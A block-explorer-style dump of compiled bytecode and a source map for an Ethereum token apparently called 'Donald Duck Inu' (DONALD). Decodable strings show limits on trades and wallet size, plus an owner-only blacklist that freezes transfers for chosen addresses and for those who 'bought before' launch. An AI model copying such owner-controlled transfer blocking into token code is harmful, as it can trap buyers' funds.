fffffffffffffffffffffffffffffffffffffffffff0483118215151615611e3a57611e39611c3e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611e7f826118a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611eb157611eb0611c3e565b5b600182019050919050565b6000611ec7826118a8565b9150611ed2836118a8565b925082821015611ee557611ee4611c3e565b5b828203905092915050565b7f426f75676874206265666f726520636f6e747261637420776173206c61756e6360008201527f6865640000000000000000000000000000000000000000000000000000000000602082015250565b6000611f4c60238361179a565b9150611f5782611ef0565b604082019050919050565b60006020820190508181036000830152611f7b81611f3f565b9050919050565b7f426c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000611fb8600b8361179a565b9150611fc382611f82565b602082019050919050565b60006020820190508181036000830152611fe781611fab565b9050919050565b6000611ff9826118a8565b9150612004836118a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561203957612038611c3e565b5b828201905092915050565b7f6d61782077616c6c6574206c696d697420726561636865640000000000000000600082015250565b600061207a60188361179a565b915061208582612044565b602082019050919050565b600060208201905081810360008301526120a98161206d565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006120e660118361179a565b91506120f1826120b0565b602082019050919050565b60006020820190508181036000830152612115816120d9565b905091905056fea2646970667358221220e70287b044ae3610785a60db6fab9a03e357821e00b6af4587ec571cc665843a64736f6c634300080f0033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d157806395d89b411161008a578063dd62ed3e11610064578063dd62ed3e14610563578063f887ea40146105a0578063fe575a87146105cb578063ffb54a991461060857610171565b806395d89b41146104d0578063a8aa1b31146104fb578063a9059cbb1461052657610171565b8063715018a6146103e457806378109e54146103fb5780637d1db4a514610426578063893d20e814610451578063896648c11461047c5780638e2eee84146104a757610171565b80632f54bf6e116101235780632f54bf6e1461029a578063305c4c80146102d7578063313ce56714610302578063571ac8b01461032d5780636d02cc021461036a57806370a08231146103a757610171565b8063034fc0b71461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd1461020757806323b872dd146102325780632b112e491461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d60048036038101906101989190611762565b61061f565b005b3480156101ab57600080fd5b506101b4610684565b6040516101c19190611828565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906118de565b6106bd565b6040516101fe919061192d565b60405180910390f35b34801561021357600080fd5b5061021c6107af565b6040516102299190611957565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190611972565b6107d0565b604051610266919061192d565b60405180910390f35b34801561027b57600080fd5b506102846109d0565b6040516102919190611957565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc91906119c5565b610a99565b6040516102ce919061192d565b60405180910390f35b3480156102e357600080fd5b506102ec610af2565b6040516102f9919061192d565b60405180910390f35b34801561030e57600080fd5b50610317610b05565b6040516103249190611a0e565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f91906119c5565b610b0a565b604051610361919061192d565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c91906119c5565b610b3d565b60405161039e9190611957565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c991906119c5565b610b55565b6040516103db9190611957565b60405180910390f35b3480156103f057600080fd5b506103f9610b6d565b005b34801561040757600080fd5b50610410610c30565b60405161041d9190611957565b60405180910390f35b34801561043257600080fd5b5061043b610c36565b6040516104489190611957565b60405180910390f35b34801561045d57600080fd5b50610466610c3c565b6040516104739190611a38565b60405180910390f35b34801561048857600080fd5b50610491610c65565b60405161049e919061192d565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190611ab8565b610c78565b005b3480156104dc57600080fd5b506104e5610d16565b6040516104f29190611828565b60405180910390f35b34801561050757600080fd5b50610510610d4f565b60405161051d9190611a38565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906118de565b610d75565b60405161055a919061192d565b60405180910390f35b34801561056f57600080fd5b5061058a60048036038101906105859190611b18565b610d8a565b6040516105979190611957565b60405180910390f35b3480156105ac57600080fd5b506105b5610e11565b6040516105c29190611bb7565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed91906119c5565b610e37565b6040516105ff919061192d565b60405180910390f35b34801561061457600080fd5b5061061d610e57565b005b61062833610a99565b610667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065e90611c1e565b60405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b6040518060400160405280600f81526020017f446f6e616c64204475636b20496e75000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161079d9190611957565b60405180910390a36001905092915050565b6004600a6107bd9190611da0565b6402540be4006107cd9190611deb565b81565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109bc5761093b826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ebc9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6109c7848484610f20565b90509392505050565b6000610a94600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a866003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004600a610a689190611da0565b6402540be400610a789190611deb565b61147290919063ffffffff16565b61147290919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600760009054906101000a900460ff1681565b600481565b6000610b36827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6106bd565b9050919050565b60086020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b610b7633610a99565b610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90611c1e565b60405180910390fd5b7f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610be59190611a38565b60405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025481565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900460ff1681565b610c8133610a99565b610cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb790611c1e565b60405180910390fd5b60005b83839050811015610d1057610cff848483818110610ce457610ce3611e45565b5b9050602002016020810190610cf991906119c5565b836114bc565b80610d0990611e74565b9050610cc3565b50505050565b6040518060400160405280600681526020017f444f4e414c44000000000000000000000000000000000000000000000000000081525081565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d82338484610f20565b905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b610e6033610a99565b610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9690611c1e565b60405180910390fd5b6000600760006101000a81548160ff021916908315150217905550565b6000838311158290610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb9190611828565b60405180910390fd5b5060008385610f139190611ebc565b9050809150509392505050565b6000610f2b84610a99565b158015610f445750600760009054906101000a900460ff165b1561110d57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611036576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361102a5743600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110358360016114bc565b5b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561110c5760144361108b9190611ebc565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290611f62565b60405180910390fd5b5b5b600960009054906101000a900460ff1680156111365750600760009054906101000a900460ff16155b156111c957600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf90611fce565b60405180910390fd5b5b6111d284610a99565b1580156112295750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561127f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156112d95750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561136e5760025482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132c9190611fee565b111561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612090565b60405180910390fd5b5b600154821115806113c85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061141c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61145b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611452906120fc565b60405180910390fd5b611466848484611554565b50600190509392505050565b60006114b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebc565b905092915050565b8080156114f457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115505780600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60006115df826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ebc9092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d9190611fee565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170d9190611957565b60405180910390a3600190509392505050565b600080fd5b600080fd5b60008115159050919050565b61173f8161172a565b811461174a57600080fd5b50565b60008135905061175c81611736565b92915050565b60006020828403121561177857611777611720565b5b60006117868482850161174d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117c95780820151818401526020810190506117ae565b838111156117d8576000848401525b50505050565b6000601f19601f8301169050919050565b60006117fa8261178f565b611804818561179a565b93506118148185602086016117ab565b61181d816117de565b840191505092915050565b6000602082019050818103600083015261184281846117ef565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118758261184a565b9050919050565b6118858161186a565b811461189057600080fd5b50565b6000813590506118a28161187c565b92915050565b6000819050919050565b6118bb816118a8565b81146118c657600080fd5b50565b6000813590506118d8816118b2565b92915050565b600080604083850312156118f5576118f4611720565b5b600061190385828601611893565b9250506020611914858286016118c9565b9150509250929050565b6119278161172a565b82525050565b6000602082019050611942600083018461191e565b92915050565b611951816118a8565b82525050565b600060208201905061196c6000830184611948565b92915050565b60008060006060848603121561198b5761198a611720565b5b600061199986828701611893565b93505060206119aa86828701611893565b92505060406119bb868287016118c9565b9150509250925092565b6000602082840312156119db576119da611720565b5b60006119e984828501611893565b91505092915050565b600060ff82169050919050565b611a08816119f2565b82525050565b6000602082019050611a2360008301846119ff565b92915050565b611a328161186a565b82525050565b6000602082019050611a4d6000830184611a29565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611a7857611a77611a53565b5b8235905067ffffffffffffffff811115611a9557611a94611a58565b5b602083019150836020820283011115611ab157611ab0611a5d565b5b9250929050565b600080600060408486031215611ad157611ad0611720565b5b600084013567ffffffffffffffff811115611aef57611aee611725565b5b611afb86828701611a62565b93509350506020611b0e8682870161174d565b9150509250925092565b60008060408385031215611b2f57611b2e611720565b5b6000611b3d85828601611893565b9250506020611b4e85828601611893565b9150509250929050565b6000819050919050565b6000611b7d611b78611b738461184a565b611b58565b61184a565b9050919050565b6000611b8f82611b62565b9050919050565b6000611ba182611b84565b9050919050565b611bb181611b96565b82525050565b6000602082019050611bcc6000830184611ba8565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000611c0860068361179a565b9150611c1382611bd2565b602082019050919050565b60006020820190508181036000830152611c3781611bfb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611cc457808604811115611ca057611c9f611c3e565b5b6001851615611caf5780820291505b8081029050611cbd85611c6d565b9450611c84565b94509492505050565b600082611cdd5760019050611d99565b81611ceb5760009050611d99565b8160018114611d015760028114611d0b57611d3a565b6001915050611d99565b60ff841115611d1d57611d1c611c3e565b5b8360020a915084821115611d3457611d33611c3e565b5b50611d99565b5060208310610133831016604e8410600b8410161715611d6f5782820a905083811115611d6a57611d69611c3e565b5b611d99565b611d7c8484846001611c7a565b92509050818404811115611d9357611d92611c3e565b5b81810290505b9392505050565b6000611dab826118a8565b9150611db6836119f2565b9250611de37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ccd565b905092915050565b6000611df6826118a8565b9150611e01836118a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e3a57611e39611c3e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611e7f826118a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611eb157611eb0611c3e565b5b600182019050919050565b6000611ec7826118a8565b9150611ed2836118a8565b925082821015611ee557611ee4611c3e565b5b828203905092915050565b7f426f75676874206265666f726520636f6e747261637420776173206c61756e6360008201527f6865640000000000000000000000000000000000000000000000000000000000602082015250565b6000611f4c60238361179a565b9150611f5782611ef0565b604082019050919050565b60006020820190508181036000830152611f7b81611f3f565b9050919050565b7f426c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000611fb8600b8361179a565b9150611fc382611f82565b602082019050919050565b60006020820190508181036000830152611fe781611fab565b9050919050565b6000611ff9826118a8565b9150612004836118a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561203957612038611c3e565b5b828201905092915050565b7f6d61782077616c6c6574206c696d697420726561636865640000000000000000600082015250565b600061207a60188361179a565b915061208582612044565b602082019050919050565b600060208201905081810360008301526120a98161206d565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006120e660118361179a565b91506120f1826120b0565b602082019050919050565b60006020820190508181036000830152612115816120d9565b905091905056fea2646970667358221220e70287b044ae3610785a60db6fab9a03e357821e00b6af4587ec571cc665843a64736f6c634300080f0033

Deployed Bytecode Sourcemap

2446:5172:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6788:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2696:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4440:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2838:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4958:370;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7409:141;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1395:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3255:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2797:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4664:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3288:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3031:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1506:131;;;;;;;;;;;;;:::i;:::-;;2968:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2910:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4215:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3336:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6904:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2750:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3461:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4794:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4299:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3430:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3375:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7325:76;;;;;;;;;;;;;:::i;:::-;;6788:108;1346:19;1354:10;1346:7;:19::i;:::-;1338:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;6881:7:::1;6865:13;;:23;;;;;;;;;;;;;;;;;;6788:108:::0;:::o;2696:47::-;;;;;;;;;;;;;;;;;;;:::o;4440:216::-;4515:4;4567:6;4532:11;:23;4544:10;4532:23;;;;;;;;;;;;;;;:32;4556:7;4532:32;;;;;;;;;;;;;;;:41;;;;4610:7;4589:37;;4598:10;4589:37;;;4619:6;4589:37;;;;;;:::i;:::-;;;;;;;;4644:4;4637:11;;4440:216;;;;:::o;2838:63::-;2830:1;2889:2;:12;;;;:::i;:::-;2876:10;:25;;;;:::i;:::-;2838:63;:::o;4958:370::-;5058:4;5113:17;5078:11;:19;5090:6;5078:19;;;;;;;;;;;;;;;:31;5098:10;5078:31;;;;;;;;;;;;;;;;:52;5075:186;;5180:69;5216:6;5180:69;;;;;;;;;;;;;;;;;:11;:19;5192:6;5180:19;;;;;;;;;;;;;;;:31;5200:10;5180:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;5146:11;:19;5158:6;5146:19;;;;;;;;;;;;;;;:31;5166:10;5146:31;;;;;;;;;;;;;;;:103;;;;5075:186;5280:40;5294:6;5302:9;5313:6;5280:13;:40::i;:::-;5273:47;;4958:370;;;;;:::o;7409:141::-;7462:7;7489:53;7526:9;:15;2645:42;7526:15;;;;;;;;;;;;;;;;7489:32;7505:9;:15;2572:42;7505:15;;;;;;;;;;;;;;;;2830:1;2889:2;:12;;;;:::i;:::-;2876:10;:25;;;;:::i;:::-;7489:15;;:32;;;;:::i;:::-;:36;;:53;;;;:::i;:::-;7482:60;;7409:141;:::o;1395:103::-;1450:4;1485:5;;;;;;;;;;;1474:16;;:7;:16;;;1467:23;;1395:103;;;:::o;3255:26::-;;;;;;;;;;;;;:::o;2797:34::-;2830:1;2797:34;:::o;4664:122::-;4719:4;4743:35;4751:7;4760:17;4743:7;:35::i;:::-;4736:42;;4664:122;;;:::o;3288:41::-;;;;;;;;;;;;;;;;;:::o;3031:45::-;;;;;;;;;;;;;;;;;:::o;1506:131::-;1346:19;1354:10;1346:7;:19::i;:::-;1338:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;1568:32:::1;1597:1;1568:32;;;;;;:::i;:::-;;;;;;;;1627:1;1611:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;1506:131::o:0;2968:54::-;;;;:::o;2910:51::-;;;;:::o;4215:78::-;4267:7;4285:5;;;;;;;;;;;4278:12;;4215:78;:::o;3336:32::-;;;;;;;;;;;;;:::o;6904:215::-;1346:19;1354:10;1346:7;:19::i;:::-;1338:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;7008:9:::1;7003:109;7025:9;;:16;;7021:1;:20;7003:109;;;7063:37;7080:9;;7090:1;7080:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7093:6;7063:16;:37::i;:::-;7043:3;;;;:::i;:::-;;;7003:109;;;;6904:215:::0;;;:::o;2750:40::-;;;;;;;;;;;;;;;;;;;:::o;3461:19::-;;;;;;;;;;;;;:::o;4794:156::-;4874:4;4898:44;4912:10;4924:9;4935:6;4898:13;:44::i;:::-;4891:51;;4794:156;;;;:::o;4299:133::-;4383:7;4401:11;:19;4413:6;4401:19;;;;;;;;;;;;;;;:28;4421:7;4401:28;;;;;;;;;;;;;;;;4394:35;;4299:133;;;;:::o;3430:24::-;;;;;;;;;;;;;:::o;3375:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;7325:76::-;1346:19;1354:10;1346:7;:19::i;:::-;1338:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;7388:5:::1;7378:7;;:15;;;;;;;;;;;;;;;;;;7325:76::o:0;303:192::-;389:7;422:1;417;:6;;425:12;409:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;449:9;465:1;461;:5;;;;:::i;:::-;449:17;;486:1;479:8;;;303:192;;;;;:::o;5336:1105::-;5428:4;5451:15;5459:6;5451:7;:15::i;:::-;5450:16;:27;;;;;5470:7;;;;;;;;;;;5450:27;5447:427;;;5506:4;;;;;;;;;;;5496:14;;:6;:14;;;5493:208;;5556:1;5533:8;:19;5542:9;5533:19;;;;;;;;;;;;;;;;:24;5530:105;;5603:12;5581:8;:19;5590:9;5581:19;;;;;;;;;;;;;;;:34;;;;5530:105;5653:32;5670:9;5680:4;5653:16;:32::i;:::-;5493:208;5739:1;5720:8;:16;5729:6;5720:16;;;;;;;;;;;;;;;;:20;5717:146;;;5804:2;5789:12;:17;;;;:::i;:::-;5769:8;:16;5778:6;5769:16;;;;;;;;;;;;;;;;:38;5760:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;5717:146;5447:427;5897:13;;;;;;;;;;;:25;;;;;5915:7;;;;;;;;;;;5914:8;5897:25;5894:105;;;5947:13;:21;5961:6;5947:21;;;;;;;;;;;;;;;;;;;;;;;;;5946:22;5938:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;5894:105;6016:15;6024:6;6016:7;:15::i;:::-;6015:16;:48;;;;;6036:19;:27;6056:6;6036:27;;;;;;;;;;;;;;;;;;;;;;;;;6035:28;6015:48;:83;;;;;6068:19;:30;6088:9;6068:30;;;;;;;;;;;;;;;;;;;;;;;;;6067:31;6015:83;:104;;;;;6115:4;;;;;;;;;;;6102:17;;:9;:17;;;;6015:104;6011:223;;;6179:15;;6168:6;6145:9;:20;6155:9;6145:20;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;6144:50;;6136:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;6011:223;6265:12;;6255:6;:22;;6254:51;;;;6282:15;:23;6298:6;6282:23;;;;;;;;;;;;;;;;;;;;;;;;;6254:51;:81;;;;6309:15;:26;6325:9;6309:26;;;;;;;;;;;;;;;;;;;;;;;;;6254:81;6246:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;6370:41;6385:6;6393:9;6404:6;6370:14;:41::i;:::-;;6429:4;6422:11;;5336:1105;;;;;:::o;161:136::-;219:7;246:43;250:1;253;246:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;239:50;;161:136;;;;:::o;7127:190::-;7204:7;:32;;;;;7231:4;7215:21;;:4;:21;;;7204:32;7252:7;7201:69;7302:7;7280:13;:19;7294:4;7280:19;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;7127:190;;;:::o;6453:327::-;6546:4;6583:53;6605:6;6583:53;;;;;;;;;;;;;;;;;:9;:17;6593:6;6583:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;6563:9;:17;6573:6;6563:17;;;;;;;;;;;;;;;:73;;;;6693:6;6670:9;:20;6680:9;6670:20;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;6647:9;:20;6657:9;6647:20;;;;;;;;;;;;;;;:52;;;;6732:9;6715:35;;6724:6;6715:35;;;6743:6;6715:35;;;;;;:::i;:::-;;;;;;;;6768:4;6761:11;;6453:327;;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:90;368:7;411:5;404:13;397:21;386:32;;334:90;;;:::o;430:116::-;500:21;515:5;500:21;:::i;:::-;493:5;490:32;480:60;;536:1;533;526:12;480:60;430:116;:::o;552:133::-;595:5;633:6;620:20;611:29;;649:30;673:5;649:30;:::i;:::-;552:133;;;;:::o;691:323::-;747:6;796:2;784:9;775:7;771:23;767:32;764:119;;;802:79;;:::i;:::-;764:119;922:1;947:50;989:7;980:6;969:9;965:22;947:50;:::i;:::-;937:60;;893:114;691:323;;;;:::o;1020:99::-;1072:6;1106:5;1100:12;1090:22;;1020:99;;;:::o;1125:169::-;1209:11;1243:6;1238:3;1231:19;1283:4;1278:3;1274:14;1259:29;;1125:169;;;;:::o;1300:307::-;1368:1;1378:113;1392:6;1389:1;1386:13;1378:113;;;1477:1;1472:3;1468:11;1462:18;1458:1;1453:3;1449:11;1442:39;1414:2;1411:1;1407:10;1402:15;;1378:113;;;1509:6;1506:1;1503:13;1500:101;;;1589:1;1580:6;1575:3;1571:16;1564:27;1500:101;1349:258;1300:307;;;:::o;1613:102::-;1654:6;1705:2;1701:7;1696:2;1689:5;1685:14;1681:28;1671:38;;1613:102;;;:::o;1721:364::-;1809:3;1837:39;1870:5;1837:39;:::i;:::-;1892:71;1956:6;1951:3;1892:71;:::i;:::-;1885:78;;1972:52;2017:6;2012:3;2005:4;1998:5;1994:16;1972:52;:::i;:::-;2049:29;2071:6;2049:29;:::i;:::-;2044:3;2040:39;2033:46;;1813:272;1721:364;;;;:::o;2091:313::-;2204:4;2242:2;2231:9;2227:18;2219:26;;2291:9;2285:4;2281:20;2277:1;2266:9;2262:17;2255:47;2319:78;2392:4;2383:6;2319:78;:::i;:::-;2311:86;;2091:313;;;;:::o;2410:126::-;2447:7;2487:42;2480:5;2476:54;2465:65;;2410:126;;;:::o;2542:96::-;2579:7;2608:24;2626:5;2608:24;:::i;:::-;2597:35;;2542:96;;;:::o;2644:122::-;2717:24;2735:5;2717:24;:::i;:::-;2710:5;2707:35;2697:63;;2756:1;2753;2746:12;2697:63;2644:122;:::o;2772:139::-;2818:5;2856:6;2843:20;2834:29;;2872:33;2899:5;2872:33;:::i;:::-;2772:139;;;;:::o;2917:77::-;2954:7;2983:5;2972:16;;2917:77;;;:::o;3000:122::-;3073:24;3091:5;3073:24;:::i;:::-;3066:5;3063:35;3053:63;;3112:1;3109;3102:12;3053:63;3000:122;:::o;3128:139::-;3174:5;3212:6;3199:20;3190:29;;3228:33;3255:5;3228:33;:::i;:::-;3128:139;;;;:::o;3273:474::-;3341:6;3349;3398:2;3386:9;3377:7;3373:23;3369:32;3366:119;;;3404:79;;:::i;:::-;3366:119;3524:1;3549:53;3594:7;3585:6;3574:9;3570:22;3549:53;:::i;:::-;3539:63;;3495:117;3651:2;3677:53;3722:7;3713:6;3702:9;3698:22;3677:53;:::i;:::-;3667:63;;3622:118;3273:474;;;;;:::o;3753:109::-;3834:21;3849:5;3834:21;:::i